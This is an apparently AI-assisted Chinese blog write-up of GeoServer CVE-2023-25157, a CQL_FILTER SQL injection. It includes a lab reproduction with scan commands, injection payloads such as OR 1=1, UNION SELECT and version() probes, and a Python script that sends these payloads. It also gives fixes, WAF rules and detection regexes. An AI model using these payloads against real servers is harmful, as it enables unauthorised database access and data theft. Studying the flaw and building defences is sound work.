创作声明
AI创作声明
本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。
免责声明
本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。
版权声明
本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。
准备工作
Docker的常用命令
docker compose pull #将远程镜像拉取到本地
docker compose up -d #启动容器,并且不包含下载日志
docker ps #查看开放端口
docker compose logs #查看日志
docker compose down #销毁容器
docker compose build #重启容器
docker compose exec web bash #进入名为web的服务容器并打开 Bash 终端的命令
漏洞原理分析
CVE-2023-25157 是 GeoServer 中一个严重的 SQL Injection(SQL 注入)漏洞,影响多个主要版本(低于 2.21.4、2.22.2、2.20.7、2.19.7 等)。该漏洞源于 GeoServer 对 OGC Filter 表达式语言和 CQL(Common Query Language) 输入没有正确过滤,导致恶意构造的 SQL 片段被嵌入后台数据库查询。
GeoServer 使用这些查询用于 Web Feature Service (WFS)、Web Map Service (WMS)、Web Coverage Service (WCS) 等协议,在处理包括 PropertyIsLike、strEndsWith、strStartsWith、FeatureId、jsonArrayContains 等条件时可能不安全。
攻击者无需认证即可向受影响服务发送特制的带有恶意条件的请求,远程触发 SQL 注入执行任意数据库操作,可能导致:
- 数据泄露、篡改或删除
- 提权或获取数据库敏感内容
- 潜在远程代码执行(结合其它漏洞) 根据 NVD 记录,该漏洞的 CVSSv3 基础评分为 9.8 (Critical),攻击者无需特权且攻击复杂度低。
┌────────────┐ ① 构造恶意 CQL_FILTER 参数
│ 攻击者 │ ──→ 例如:?CQL_FILTER=strEndsWith(attribute,''') OR 1=1 --
└────────────┘ 或使用其他函数组合
│
▼
┌─────────────────────┐
│ GeoServer WFS/WMS │ 接收请求,解析 CQL 表达式
└─────────┬───────────┘
│ ② 未正确转义,生成恶意 SQL
▼
┌─────────────────────┐
│ 数据库(如 PostGIS)│ 执行注入的 SQL 语句
└─────────┬───────────┘
│ ③ 返回敏感数据或执行任意操作
▼
┌─────────────────────┐
│ 攻击者获取数据或权限 │
└─────────────────────┘
- DFD(数据流图 + 威胁建模)
[External Attacker]
|
| (1) Malicious HTTP OGC Filter or CQL request
v
[GeoServer Request Handler]
|
| (2) Unsafe CQL/Filter Handler (SQL Builder)
v
[Database Query Execution]
|
v
[Database: GeoServer Data Store]
STRIDE 威胁分析
| 威胁类型 | 是否 | 说明 |
|---|---|---|
| Spoofing | ❌ | 无需伪造凭证 |
| Tampering | ✅ | 注入破坏查询结构 |
| Repudiation | ⚠️ | 难辨合法/攻击 |
| Information Disclosure | ✅ | 可泄露敏感数据 |
| Denial of Service | ⚠️ | 可构造耗时查询阻断 |
| Elevation of Privilege | ⚠️ | 可结合其它缺陷扩权 |
漏洞复现原理图示说明
典型复现流程示意:
恶意构造的 OGC Filter / CQL 请求
例如:
/geoserver/wfs?service=WFS&version=1.0.0&request=GetFeature
&typeName=workspace:layer
&cql_filter=PropertyIsLike(propertyName,'%foo%' OR '1'='1',’%’,'%’)
处理流程:
GeoServer 解析请求
↓
Filter -> CQL Parser
↓
动态构造的 SQL 包含未过滤的注入片段
↓
数据库执行查询
↓
攻击者获得非授权数据或影响 DB 内容
这种攻击属于典型 SQL 注入:用户控制表达式输入进而影响最终生成的 SQL 语句逻辑。
漏洞原理示意图 CQL过滤器注入原理
正常WFS请求:
http://geoserver/wfs?
service=WFS&
version=1.1.0&
request=GetFeature&
typeName=target_layer&
CQL_FILTER=strEndsWith(attribute,'value')
恶意注入Payload:
CQL_FILTER=strEndsWith(attribute,''') OR 1=1 OR (''')='''
FilterToSQL解析器转换:
原始: strEndsWith(attribute,''') OR 1=1 OR (''')='''
转换后: attribute LIKE '%'' OR 1=1 OR (''='''
实际SQL执行:
SELECT * FROM target_layer WHERE attribute LIKE '%' OR 1=1 OR (''=''
由于1=1恒为真,返回所有要素
绕过技术示例
1. 使用strEndsWith函数绕过:
CQL_FILTER=strEndsWith('test','') OR 1=1 AND (''='')
2. 使用strStartsWith函数:
CQL_FILTER=strStartsWith('test','') UNION SELECT ... AND (''='')
3. 嵌套函数绕过:
CQL_FILTER=strEndsWith(strStartsWith('test',''),'') OR 1=1 AND (''='')
4. 使用PostGIS函数:
CQL_FILTER=geometryType(geom)='POINT' OR 1=1 AND (''='')
漏洞原理
靶场环境如下
ffuf -u http://192.168.0.32:8080/geoserver/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.bak,.txt -t 50 -fs 0
gobuster dir -u http://192.168.0.32:8080/geoserver/ -w /usr/share/wordlists/dirb/common.txt
目录扫描
ows是个新奇的东西打开试试,或者点击web界面的任意按钮即可跳转到。
后面 3 个参数(typeName、maxFeatures、outputFormat)是通过以下方式找到或确定的:
✅ typeName(图层名称)
- 来自 WFS 服务中已发布的要素类型(图层)列表,这些信息通常在
GetCapabilities响应的<FeatureTypeList>部分列出。 - 在提供的片段中,虽然没有直接显示所有图层,但从命名空间(如
ne:、sf:、topp:等)可以推测存在多个图层。例如ne:populated_places表示命名空间ne下的populated_places图层。 - 在实际使用中,您可以通过查看完整的
GetCapabilities响应或使用DescribeFeatureType请求来获取所有可用typeName。
✅ maxFeatures(返回要素数量限制)
- 这是一个可选参数,用于限制返回的要素数量,避免响应过大。
- 它不是从
GetCapabilities中直接提取的,而是 WFS 标准支持的参数,可以在GetFeature请求中直接使用。 - 通常用于测试或分页场景,例如
maxFeatures=1表示只返回第一个要素。
✅ outputFormat(输出格式)
- 在
GetCapabilities响应中,<GetFeature>部分会列出支持的输出格式,例如:
<ResultFormat>
<XML/>
<XML2/>
</ResultFormat>
这表示支持 GML 格式(XML 和 GML2/GML3)。
- 但 GeoServer 通常还支持其他格式,如
json、csv、shapefile等,即使没有在GetCapabilities中明确列出。这些格式是服务器扩展支持的。
CQL_FILTER 是 GeoServer 特有的扩展参数,不是 WFS 标准规范的一部分。它用于通过 CQL(Common Query Language)语法过滤要素。
- 很多 GIS 开发者在 GeoServer 社区中分享使用
CQL_FILTER的示例。 - 示例 URL 中的
CQL_FILTER看起来很像是针对 SQL 注入测试 构造的:
strStartsWith(name,'x'') = true
and 1=(SELECT CAST ((SELECT version()) AS integer))
–- ') = true
http://192.168.0.32:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true
这是一个典型的 CQL 注入测试,用于探测 PostgreSQL 数据库版本。
#!/usr/bin/env python3
"""
GeoServer WFS SQL注入测试工具
用法: python wfs_test.py <target_url>
"""
import sys
import requests
def test_geoserver_sql_injection(target):
"""测试GeoServer SQL注入漏洞"""
# 测试Payload
payloads = [
# PostgreSQL版本检测
"strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true",
# 简化的测试
"strStartsWith(name,'x'') = true and 1=1 -- ') = true",
"strStartsWith(name,'x'') = true and 1=2 -- ') = true",
]
base_params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example"
}
for i, payload in enumerate(payloads):
print(f"\n[+] 测试Payload {i+1}: {payload[:50]}...")
params = base_params.copy()
params["CQL_FILTER"] = payload
try:
response = requests.get(target, params=params, timeout=10)
print(f" 状态码: {response.status_code}")
print(f" 响应长度: {len(response.text)}")
# 检查响应中是否包含数据库版本信息
if "PostgreSQL" in response.text:
print(" [!] 可能检测到PostgreSQL版本信息!")
except Exception as e:
print(f" [x] 错误: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("用法: python wfs_test.py http://目标IP:端口/geoserver/ows")
sys.exit(1)
target = sys.argv[1]
test_geoserver_sql_injection(target)
python request.py http://192.168.0.32:8080/geoserver/ows
然后拼接找到的三个功能属性值。
最后用burpsuite抓包查看数据库版本。
这里不给数据包代码,而是将其改成 python的requests和urllib包,这些效果也是同burosuite抓包和curl命令是等价的。
import requests
url = "http://192.168.0.32:8080/geoserver/ows"
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
}
headers = {
"Accept-Encoding": "gzip, deflate, br",
"Accept": "*/*",
"Accept-Language": "en-US;q=0.9,en;q=0.8",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"Cache-Control": "max-age=0"
}
response = requests.get(url, params=params, headers=headers)
print(f"状态码: {response.status_code}")
print(f"响应内容: {response.text}")
from urllib import request
import urllib.parse
base_url = "http://192.168.0.32:8080/geoserver/ows"
query_params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
}
# 构建URL
encoded_params = urllib.parse.urlencode(query_params, safe="=(),' ")
full_url = f"{base_url}?{encoded_params}"
# 创建请求对象
req = request.Request(
full_url,
headers={
"Accept-Encoding": "gzip, deflate, br",
"Accept": "*/*",
"Accept-Language": "en-US;q=0.9,en;q=0.8",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"Cache-Control": "max-age=0"
}
)
# 发送请求
try:
with request.urlopen(req) as response:
print(f"状态码: {response.status}")
content = response.read().decode('utf-8')
print(f"响应内容: {content}")
except Exception as e:
print(f"错误: {e}")
修复建议
- 升级版本:立即升级至 GeoServer 2.21.4, 2.22.2 或更高版本。
- 禁用插件:如果不需要复杂的过滤功能,考虑在全局设置中限制 CQL 过滤的使用。
- 最小权限原则:确保 GeoServer 连接数据库的账号仅具有
SELECT权限,且无法访问系统表(如pg_authid)。 - 配置过滤:使用 WAF 拦截包含 SQL 特征关键字(如
UNION,SELECT,--)的CQL_FILTER参数请求。
伪代码级修复示例
修复的核心在于改进 FilterToSQL 转换器的逻辑,确保所有函数参数都经过严格的转义处理,或优先使用预编译语句。
❌ 漏洞代码(简单的字符串替换)
// 在翻译 strEndsWith 函数的类中
public void visit(EndsWithFunction filter, Object extraData) {
String literal = filter.getLiteral().toString();
String property = filter.getPropertyName();
// 危险:直接将 literal 拼接到 LIKE 语句中,未考虑引号闭合
String sql = property + " LIKE '%" + literal + "'";
out.write(sql);
}
✅ 修复后代码(严格转义与参数化思维)
public void visit(EndsWithFunction filter, Object extraData) {
String literal = filter.getLiteral().toString();
String property = filter.getPropertyName();
// 1. 严格转义单引号:将 ' 替换为数据库对应的转义符(如 '')
String escapedLiteral = escapeSqlLiteral(literal);
// 2. 构造安全的表达式
// 修复方案通常会使用预定义的模板,并确保 % 号的位置安全
StringBuilder safeSql = new StringBuilder();
safeSql.append(property)
.append(" LIKE '%")
.append(escapedLiteral)
.append("'");
out.write(safeSql.toString());
}
// 辅助方法:确保内容不包含未处理的闭合符
private String escapeSqlLiteral(String input) {
if (input == null) return "";
return input.replace("'", "''"); // 针对 PostGIS/Standard SQL 的转义
}
修复方案1:输入验证和过滤
// 修复FilterToSQL解析器
public class SecureFilterToSQL extends FilterToSQL {
private static final Pattern SQL_INJECTION_PATTERNS = Pattern.compile(
"(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|" +
"drop.*table|alter.*table|create.*table|exec\\s*\\(|xp_cmdshell|" +
"information_schema|pg_catalog|--|#|/\\*|\\*/|;|')"
);
@Override
public Object visit(Function function, Object extraData) throws RuntimeException {
// 检查函数参数是否包含SQL注入
List<Expression> parameters = function.getParameters();
for (Expression param : parameters) {
if (param instanceof Literal) {
Literal literal = (Literal) param;
Object value = literal.getValue();
if (value instanceof String) {
String strValue = (String) value;
if (containsSqlInjection(strValue)) {
throw new SecurityException(
"Potential SQL injection detected in function parameter"
);
}
}
}
}
return super.visit(function, extraData);
}
private boolean containsSqlInjection(String input) {
if (input == null) {
return false;
}
// 检查单引号逃逸
int singleQuoteCount = countOccurrences(input, "'");
if (singleQuoteCount % 2 != 0) {
// 奇数个单引号,可能用于逃逸
return true;
}
// 检查SQL关键字
return SQL_INJECTION_PATTERNS.matcher(input).find();
}
private int countOccurrences(String str, String sub) {
if (str == null || sub == null || sub.isEmpty()) {
return 0;
}
return (str.length() - str.replace(sub, "").length()) / sub.length();
}
@Override
protected String escapeString(String literal) {
// 加强字符串转义
if (literal == null) {
return "NULL";
}
// 转义单引号
String escaped = literal.replace("'", "''");
// 检查是否仍然包含危险字符
if (containsSqlInjection(escaped)) {
throw new SecurityException(
"String literal may contain SQL injection: " + literal
);
}
return "'" + escaped + "'";
}
}
修复方案2:CQL过滤器白名单验证
// CQL过滤器验证器
@Component
public class CQLFilterValidator {
private static final Set<String> ALLOWED_FUNCTIONS = Set.of(
"strEndsWith", "strStartsWith", "strEqualsIgnoreCase",
"strMatches", "strToLowerCase", "strToUpperCase",
"geometryType", "boundingBox", "intersects", "disjoint",
"touches", "crosses", "within", "contains", "overlaps",
"equals", "distance", "area", "length", "buffer"
);
private static final Pattern ALLOWED_PATTERNS = Pattern.compile(
"^[a-zA-Z0-9_\\s(),.'\"=<>!&|\\-+*/%]+$"
);
public boolean validateCQLFilter(String cqlFilter, String layerName) {
if (cqlFilter == null || cqlFilter.trim().isEmpty()) {
return true;
}
// 1. 基本模式检查
if (!ALLOWED_PATTERNS.matcher(cqlFilter).matches()) {
logSecurityEvent("CQL filter contains invalid characters", cqlFilter);
return false;
}
// 2. 解析和验证函数调用
try {
ECQL.toFilter(cqlFilter); // 尝试解析
// 3. 自定义验证
CQLFilterVisitor visitor = new CQLFilterVisitor();
Filter filter = ECQL.toFilter(cqlFilter);
filter.accept(visitor, null);
if (!visitor.isValid()) {
logSecurityEvent("CQL filter validation failed", cqlFilter);
return false;
}
} catch (CQLException e) {
logSecurityEvent("CQL filter parsing error", cqlFilter);
return false;
} catch (SecurityException e) {
logSecurityEvent("CQL filter security violation", cqlFilter);
return false;
}
return true;
}
private void logSecurityEvent(String event, String cqlFilter) {
// 记录安全事件
LOGGER.warn("Security event: {} - Filter: {}", event,
cqlFilter.substring(0, Math.min(cqlFilter.length(), 100)));
}
// 自定义过滤器访问器
private class CQLFilterVisitor implements FilterVisitor {
private boolean valid = true;
@Override
public Object visit(ExcludeFilter filter, Object extraData) {
return null;
}
@Override
public Object visit(IncludeFilter filter, Object extraData) {
return null;
}
@Override
public Object visit(And filter, Object extraData) {
filter.getChildren().forEach(f -> f.accept(this, extraData));
return null;
}
@Override
public Object visit(Or filter, Object extraData) {
filter.getChildren().forEach(f -> f.accept(this, extraData));
return null;
}
@Override
public Object visit(Not filter, Object extraData) {
filter.getFilter().accept(this, extraData);
return null;
}
@Override
public Object visit(PropertyIsBetween filter, Object extraData) {
return null;
}
@Override
public Object visit(PropertyIsLike filter, Object extraData) {
// 检查LIKE模式
String pattern = filter.getLiteral();
if (pattern.contains("%") && pattern.length() > 100) {
valid = false; // 模式过长
}
return null;
}
@Override
public Object visit(PropertyIsNull filter, Object extraData) {
return null;
}
@Override
public Object visit(PropertyIsNil filter, Object extraData) {
return null;
}
@Override
public Object visit(BBOX filter, Object extraData) {
return null;
}
@Override
public Object visit(Beyond filter, Object extraData) {
return null;
}
@Override
public Object visit(Contains filter, Object extraData) {
return null;
}
@Override
public Object visit(Crosses filter, Object extraData) {
return null;
}
@Override
public Object visit(Disjoint filter, Object extraData) {
return null;
}
@Override
public Object visit(DWithin filter, Object extraData) {
return null;
}
@Override
public Object visit(Equals filter, Object extraData) {
return null;
}
@Override
public Object visit(Intersects filter, Object extraData) {
return null;
}
@Override
public Object visit(Overlaps filter, Object extraData) {
return null;
}
@Override
public Object visit(Touches filter, Object extraData) {
return null;
}
@Override
public Object visit(Within filter, Object extraData) {
return null;
}
@Override
public Object visit(After after, Object extraData) {
return null;
}
@Override
public Object visit(AnyInteracts anyInteracts, Object extraData) {
return null;
}
@Override
public Object visit(Before before, Object extraData) {
return null;
}
@Override
public Object visit(Begins begins, Object extraData) {
return null;
}
@Override
public Object visit(BegunBy begunBy, Object extraData) {
return null;
}
@Override
public Object visit(During during, Object extraData) {
return null;
}
@Override
public Object visit(EndedBy endedBy, Object extraData) {
return null;
}
@Override
public Object visit(Ends ends, Object extraData) {
return null;
}
@Override
public Object visit(Meets meets, Object extraData) {
return null;
}
@Override
public Object visit(MetBy metBy, Object extraData) {
return null;
}
@Override
public Object visit(OverlappedBy overlappedBy, Object extraData) {
return null;
}
@Override
public Object visit(TContains tcontains, Object extraData) {
return null;
}
@Override
public Object visit(TEquals tequals, Object extraData) {
return null;
}
@Override
public Object visit(PropertyIsEqualTo filter, Object extraData) {
return null;
}
@Override
public Object visit(PropertyIsNotEqualTo filter, Object extraData) {
return null;
}
@Override
public Object visit(PropertyIsGreaterThan filter, Object extraData) {
return null;
}
@Override
public Object visit(PropertyIsGreaterThanOrEqualTo filter, Object extraData) {
return null;
}
@Override
public Object visit(PropertyIsLessThan filter, Object extraData) {
return null;
}
@Override
public Object visit(PropertyIsLessThanOrEqualTo filter, Object extraData) {
return null;
}
@Override
public Object visit(NilExpression nilExpression, Object extraData) {
return null;
}
@Override
public Object visit(Add add, Object extraData) {
return null;
}
@Override
public Object visit(Divide divide, Object extraData) {
return null;
}
@Override
public Object visit(Multiply multiply, Object extraData) {
return null;
}
@Override
public Object visit(Subtract subtract, Object extraData) {
return null;
}
@Override
public Object visit(Function function, Object extraData) {
// 检查函数是否在白名单中
String functionName = function.getName();
if (!ALLOWED_FUNCTIONS.contains(functionName)) {
logSecurityEvent("Disallowed function in CQL filter", functionName);
valid = false;
return null;
}
// 检查函数参数
List<Expression> params = function.getParameters();
for (Expression param : params) {
if (param instanceof Literal) {
Literal literal = (Literal) param;
Object value = literal.getValue();
if (value instanceof String) {
String strValue = (String) value;
// 检查字符串参数
if (strValue.length() > 1000) {
valid = false; // 参数过长
}
}
}
}
return null;
}
@Override
public Object visit(Literal expression, Object extraData) {
Object value = expression.getValue();
if (value instanceof String) {
String strValue = (String) value;
// 检查字符串字面量
if (strValue.length() > 1000) {
valid = false; // 字符串过长
}
// 检查是否包含SQL注入特征
if (strValue.matches(".*(?i)(select|union|insert|update|delete|drop|exec).*")) {
valid = false;
}
}
return null;
}
@Override
public Object visit(PropertyName expression, Object extraData) {
// 检查属性名
String propertyName = expression.getPropertyName();
if (!propertyName.matches("^[a-zA-Z_][a-zA-Z0-9_]*$")) {
valid = false;
}
return null;
}
public boolean isValid() {
return valid;
}
}
}
修复方案3:数据库权限限制
-- 创建GeoServer只读用户
CREATE USER geoserver_ro WITH PASSWORD 'StrongPassword123!';
GRANT CONNECT ON DATABASE gisdb TO geoserver_ro;
-- 为特定图层授予只读权限
GRANT SELECT ON TABLE public.buildings TO geoserver_ro;
GRANT SELECT ON TABLE public.roads TO geoserver_ro;
GRANT SELECT ON TABLE public.parcels TO geoserver_ro;
-- 撤销危险权限
REVOKE ALL ON SCHEMA public FROM geoserver_ro;
REVOKE ALL ON DATABASE gisdb FROM geoserver_ro;
REVOKE EXECUTE ON ALL FUNCTIONS IN SCHEMA public FROM geoserver_ro;
-- 创建只读视图
CREATE VIEW buildings_safe AS
SELECT id, name, geom
FROM buildings
WHERE status = 'active';
GRANT SELECT ON buildings_safe TO geoserver_ro;
-- 使用行级安全策略(PostgreSQL 9.5+)
ALTER TABLE buildings ENABLE ROW LEVEL SECURITY;
CREATE POLICY buildings_select_policy ON buildings
FOR SELECT USING (status = 'active');
-- 限制函数执行
REVOKE EXECUTE ON FUNCTION pg_sleep(float8) FROM geoserver_ro;
REVOKE EXECUTE ON FUNCTION version() FROM geoserver_ro;
REVOKE EXECUTE ON FUNCTION current_user FROM geoserver_ro;
修复方案4:GeoServer配置加固
<!-- web.xml 添加安全过滤器 -->
<filter>
<filter-name>CQLFilterSecurityFilter</filter-name>
<filter-class>org.geoserver.security.CQLFilterSecurityFilter</filter-class>
<init-param>
<param-name>maxFilterLength</param-name>
<param-value>1000</param-value>
</init-param>
<init-param>
<param-name>allowedFunctions</param-name>
<param-value>strEndsWith,strStartsWith,strEqualsIgnoreCase,geometryType,boundingBox</param-value>
</init-param>
<init-param>
<param-name>blockPatterns</param-name>
<param-value>union.*select,select.*from.*information_schema,exec.*\(,xp_cmdshell</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>CQLFilterSecurityFilter</filter-name>
<url-pattern>/wfs</url-pattern>
<url-pattern>/ows</url-pattern>
</filter-mapping>
<!-- 启用CORS但限制来源 -->
<filter>
<filter-name>CorsFilter</filter-name>
<filter-class>org.geoserver.filters.CorsFilter</filter-class>
<init-param>
<param-name>allowedOrigins</param-name>
<param-value>https://trusted-domain.com</param-value>
</init-param>
<init-param>
<param-name>allowedMethods</param-name>
<param-value>GET,POST</param-value>
</init-param>
</filter>
基于此漏洞的检测与防护规则
Flask 中间件检测(伪代码)
from flask import Flask, request, abort
import re
app = Flask(__name__)
# 常见 SQLi 模式
SQLI_PATTERN = re.compile(r"\b(OR|AND)\b.*=|'.+'--|;\s*|/\*.*\*/|\bUNION\b", re.IGNORECASE)
@app.before_request
def detect_sqli():
# 只针对可能承载 CQL/Filter 的请求
if request.method == "GET" and any(param in request.args for param in ["cql_filter","filter"]):
for value in request.args.values():
if SQLI_PATTERN.search(value):
abort(403, "SQL Injection detected")
WAF规则
# Nginx GeoServer防护配置
location /geoserver/ {
# 检查CQL_FILTER参数
if ($args ~* "CQL_FILTER.*strEndsWith.*'.*'.*OR.*=.*AND") {
return 403;
}
# 检查SQL注入特征
if ($args ~* "CQL_FILTER.*union.*select") {
return 403;
}
# 限制请求大小
client_max_body_size 1m;
# 启用速率限制
limit_req zone=geoserver_limit burst=10 nodelay;
proxy_pass http://geoserver:8080;
}
limit_req_zone $binary_remote_addr zone=geoserver_limit:10m rate=5r/s;
安全监控脚本
# GeoServer安全监控
import re
from datetime import datetime
class GeoServerSecurityMonitor:
SQLI_PATTERNS = [
re.compile(r'CQL_FILTER.*strEndsWith.*\'.*\'.*OR.*[0-9]=[0-9]', re.I),
re.compile(r'CQL_FILTER.*union.*select', re.I),
re.compile(r'CQL_FILTER.*select.*from.*information_schema', re.I),
re.compile(r'CQL_FILTER.*cast.*\(.*select', re.I),
re.compile(r'CQL_FILTER.*version\(\)', re.I),
]
def monitor_access_log(self, log_file):
"""监控访问日志"""
alerts = []
with open(log_file, 'r') as f:
for line in f:
if 'CQL_FILTER' in line:
for pattern in self.SQLI_PATTERNS:
if pattern.search(line):
alert = {
'timestamp': datetime.now(),
'type': 'geoserver_sqli_attempt',
'pattern': pattern.pattern,
'log_line': line.strip()[:200]
}
alerts.append(alert)
break
return alerts
基于 Flask 的实时检测与防护(应用层)
部署一个 Flask 应用作为反向代理/API 网关,对所有进入 GeoServer 的请求进行预处理,拦截恶意请求。
1.1 Flask 中间件:检测 CQL 参数中的注入特征
# geoserver_proxy.py
import re
import time
from flask import Flask, request, abort, jsonify
app = Flask(__name__)
# 敏感路径(GeoServer WFS/WMS 等)
SENSITIVE_PATHS = ['/geoserver/wfs', '/geoserver/wms', '/geoserver/wcs']
# 检测危险函数的关键词
DANGEROUS_FUNCTIONS = [
'strEndsWith', 'strStartsWith', 'PropertyIsLike', 'FeatureId',
'jsonArrayContains', 'strMatches', 'strEqualsIgnoreCase'
]
# SQL 注入特征正则
SQLI_PATTERNS = [
re.compile(r'if\s*\(', re.I),
re.compile(r'sleep\s*\(', re.I),
re.compile(r'union\s+select', re.I),
re.compile(r'select\s+.*\s+from', re.I),
re.compile(r'insert\s+into', re.I),
re.compile(r'update\s+.*\s+set', re.I),
re.compile(r'delete\s+from', re.I),
re.compile(r'drop\s+table', re.I),
re.compile(r'--', re.I),
re.compile(r'#', re.I),
re.compile(r';', re.I),
re.compile(r"'", re.I),
]
def check_cql_for_injection(cql_value):
"""检查 CQL 参数是否包含注入特征"""
if not isinstance(cql_value, str):
return False
# 检查危险函数
for func in DANGEROUS_FUNCTIONS:
if func.lower() in cql_value.lower():
# 进一步检查 SQL 注入模式
for pattern in SQLI_PATTERNS:
if pattern.search(cql_value):
return True
return False
# 简单的会话验证(GeoServer 可能无需认证,此处可选)
def is_authenticated():
# 可根据实际认证方式判断,如 cookie 或 token
return False # 默认未认证,仅用于示例
# 速率限制(内存实现)
request_records = {}
def rate_limit(ip, limit=20, window=60):
now = time.time()
if ip not in request_records:
request_records[ip] = []
request_records[ip] = [t for t in request_records[ip] if now - t < window]
if len(request_records[ip]) >= limit:
return True
request_records[ip].append(now)
return False
@app.before_request
def before_request():
# 1. 只处理敏感路径
if not any(request.path.startswith(p) for p in SENSITIVE_PATHS):
return
# 2. 检查 CQL_FILTER 参数
cql_filter = request.args.get('CQL_FILTER')
if cql_filter and check_cql_for_injection(cql_filter):
log_attack(request, 'sqli_in_cql', cql_filter)
abort(403, description='Malicious CQL filter detected')
# 3. 对其他参数也做简单检查(可选)
for key, value in request.args.items():
if key != 'CQL_FILTER' and isinstance(value, str):
if check_cql_for_injection(value): # 可复用,但可能误报
log_attack(request, 'sqli_in_other_param', f"{key}={value}")
abort(403, description='Malicious parameter detected')
# 4. 对未认证请求进行速率限制(防止扫描)
if not is_authenticated() and rate_limit(request.remote_addr):
abort(429, description='Too many requests')
@app.errorhandler(403)
def forbidden(e):
return jsonify(error='Forbidden'), 403
@app.errorhandler(429)
def too_many(e):
return jsonify(error='Too many requests'), 429
def log_attack(request, attack_type, payload):
with open('geoserver_attack.log', 'a') as f:
f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type} - {payload}\n")
# 转发请求到后端 GeoServer
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
# 实际应转发到 GeoServer(如 http://localhost:8080/geoserver)
return f"Proxied to {path}"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
基于 TensorFlow 的异常行为检测 利用机器学习模型识别针对 GeoServer 的异常访问模式,特别是对 CQL 参数的异常请求。 2.1 特征工程 从每个请求中提取特征,构建数据集。特征包括:
path_length: 请求路径长度is_sensitive: 是否访问敏感路径(0/1)has_cql: 是否存在 CQL_FILTER 参数(0/1)cql_length: CQL_FILTER 参数值的长度cql_digit_ratio: 参数值中数字的比例cql_letter_ratio: 参数值中字母的比例cql_special_char_count: 参数值中特殊字符(如 ', ", (, ), ;)的数量has_dangerous_func: 是否包含危险函数名(如 strEndsWith)has_sql_keyword: 是否包含 SQL 关键字(如 select, union, sleep)hour: 请求小时ip_reputation: IP 信誉分(需外部API)user_agent_length: User-Agent 长度is_known_ua: 是否常见浏览器 UArequest_freq_10min: 该IP最近10分钟请求数is_authenticated: 是否已认证(0/1)
def extract_features(request_entry, history):
features = [
len(request_entry['path']),
1 if request_entry['is_sensitive'] else 0,
request_entry.get('has_cql', 0),
request_entry.get('cql_length', 0),
request_entry.get('cql_digit_ratio', 0),
request_entry.get('cql_letter_ratio', 0),
request_entry.get('cql_special_char_count', 0),
request_entry.get('has_dangerous_func', 0),
request_entry.get('has_sql_keyword', 0),
request_entry['timestamp'].hour,
ip_reputation(request_entry['ip']),
len(request_entry['user_agent']),
1 if 'Mozilla' in request_entry['user_agent'] else 0,
history['freq_10min'],
int(request_entry['is_auth'])
]
return features
2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建二分类模型。
import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split
# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
model = models.Sequential([
layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
layers.Dropout(0.3),
layers.Dense(32, activation='relu'),
layers.Dropout(0.3),
layers.Dense(16, activation='relu'),
layers.Dense(1, activation='sigmoid')
])
model.compile(optimizer='adam',
loss='binary_crossentropy',
metrics=['accuracy'])
model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)
# 保存模型
model.save('geoserver_anomaly_model.h5')
2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。
from tensorflow.keras.models import load_model
import numpy as np
from datetime import datetime
model = load_model('geoserver_anomaly_model.h5')
THRESHOLD = 0.8
def get_ip_history(ip):
# 从缓存获取历史统计(如Redis)
return {'freq_10min': 0}
def ip_reputation(ip):
return 0
@app.before_request
def before_request():
# ... 之前的基础检测 ...
# 对敏感路径进行机器学习异常检测
if any(request.path.startswith(p) for p in SENSITIVE_PATHS):
request_entry = {
'ip': request.remote_addr,
'path': request.path,
'method': request.method,
'is_sensitive': True,
'user_agent': request.headers.get('User-Agent', ''),
'is_auth': is_authenticated(),
'timestamp': datetime.now(),
}
cql = request.args.get('CQL_FILTER')
if cql:
request_entry['has_cql'] = 1
request_entry['cql_length'] = len(cql)
digits = sum(c.isdigit() for c in cql)
letters = sum(c.isalpha() for c in cql)
special = sum(not c.isalnum() for c in cql)
request_entry['cql_digit_ratio'] = digits / len(cql) if len(cql) > 0 else 0
request_entry['cql_letter_ratio'] = letters / len(cql) if len(cql) > 0 else 0
request_entry['cql_special_char_count'] = special
request_entry['has_dangerous_func'] = 1 if any(func.lower() in cql.lower() for func in DANGEROUS_FUNCTIONS) else 0
request_entry['has_sql_keyword'] = 1 if any(re.search(pattern, cql, re.I) for pattern in SQLI_PATTERNS) else 0
else:
request_entry['has_cql'] = 0
request_entry['cql_length'] = 0
request_entry['cql_digit_ratio'] = 0
request_entry['cql_letter_ratio'] = 0
